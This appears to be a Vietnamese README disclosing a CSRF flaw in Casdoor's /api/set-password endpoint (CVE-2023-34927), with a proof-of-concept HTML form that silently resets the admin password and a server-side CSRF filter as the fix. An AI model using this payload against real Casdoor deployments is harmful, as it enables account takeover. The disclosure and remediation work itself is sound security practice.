Casdoor - Hệ thống quản lý danh tính (IAM) - Tấn công giả mạo yêu cầu thay đổi mật khẩu người dùng (CSRF)
Tóm tắt
-
Lỗ hổng: CSRF trong
/api/set-passwordcho phép thay đổi mật khẩu mà không cần sự đồng ý. -
Phiên bản bị ảnh hưởng: Tất cả các version đều bị ảnh hưởng. Hiện chưa có bản vá lỗi nào.
-
CVE: CVE-2023-34927 (mã CVE mới nhất chưa được gán).
-
Tác giả khai thác: Van Lam Nguyen.
-
Đã thử nghiệm trên: Windows
-
Proof of Concept: csrf_casdoor
Tác động
- Nếu nạn nhân đã đăng nhập vào Casdoor, một yêu cầu POST (ví dụ:
built-in/admin) có thể thay đổi mật khẩu của nạn nhân, dẫn đến việc chiếm đoạt tài khoản.
Điều kiện tấn công
-
Nạn nhân đã được xác thực và có cookie
casdoor_session_idhợp lệ. -
Nạn nhân truy cập vào một trang độc hại tự động gửi yêu cầu POST đến
/api/set-password.
Proof of Concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Nguyên nhân gốc rễ
- Các điểm cuối thay đổi trạng thái trong
/api/*chấp nhận các yêu cầu được xác thực bằng cookie mà không thực thi kiểm tra cùng nguồn gốc (Origin/Referer) hoặc mã thông báo CSRF.
Tổng quan về cách khắc phục
-
Thêm bộ lọc CSRF phía máy chủ để từ chối các yêu cầu POST/PUT/DELETE/PATCH dựa trên cookie giữa các trang web khác nhau trong
/api/*. -
Cho phép các yêu cầu mang theo xác thực không phải cookie rõ ràng (ví dụ:
Authorization, xác thực cơ bản, thông tin đăng nhập của máy khách hoặcaccessToken) hoặc các yêu cầu không có cookie phiên trình duyệt (các cuộc gọi máy chủ-máy chủ thông thường).
Cách triển khai
-
Sử dụng
routers.CSRFFilterđược triển khai trongcsrf_filter.gotại đây. -
Trả về sớm cho các phương thức không thay đổi trạng thái.
-
Cho phép các yêu cầu có xác thực không phải cookie rõ ràng.
-
Chặn các yêu cầu giữa các trang web khác nhau khi có cookie phiên và nguồn gốc không khớp với máy chủ.
Cách tích hợp vào Casdoor
- Sao chép tệp
csrf_filter.govào thư mụcroutershiện có của dự án Casdoor. Không được sửa đổi hoặc xóa bất cứ thứ gì trong tệp này. - Đăng ký bộ lọc ở đầu chuỗi xử lý HTTP (bên trong hàm
main):// Beego v1 style beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter) // If your project uses Beego v2 and imports as `web`: // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Xác minh
-
Sau khi đăng ký bộ lọc, hãy chạy lại PoC ở trên khi đã đăng nhập. Yêu cầu sẽ bị từ chối với thông báo
Thao tác không được ủy quyềnvà máy chủ sẽ ghi lạiKiểm tra CSRF không thành công. -
Các cuộc gọi API đa nguồn gốc bao gồm tiêu đề
Authorizationhoặc tham sốaccessTokensẽ tiếp tục hoạt động.
Tệp tin trong kho lưu trữ
-
csrf_filter.go: Bộ lọc CSRF để sao chép vào góirouterscủa Casdoor. -
poc.html: Trang tối thiểu mô phỏng cuộc tấn công CSRF. -
README.md: Tài liệu này mô tả lỗ hổng và các bước khắc phục.
Tài liệu tham khảo
- Casdoor: https://casdoor.org/
- Phiên bản: https://github.com/casdoor/casdoor/releases
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927
Video
- Youtube: https://youtu.be/N5VENgiObjY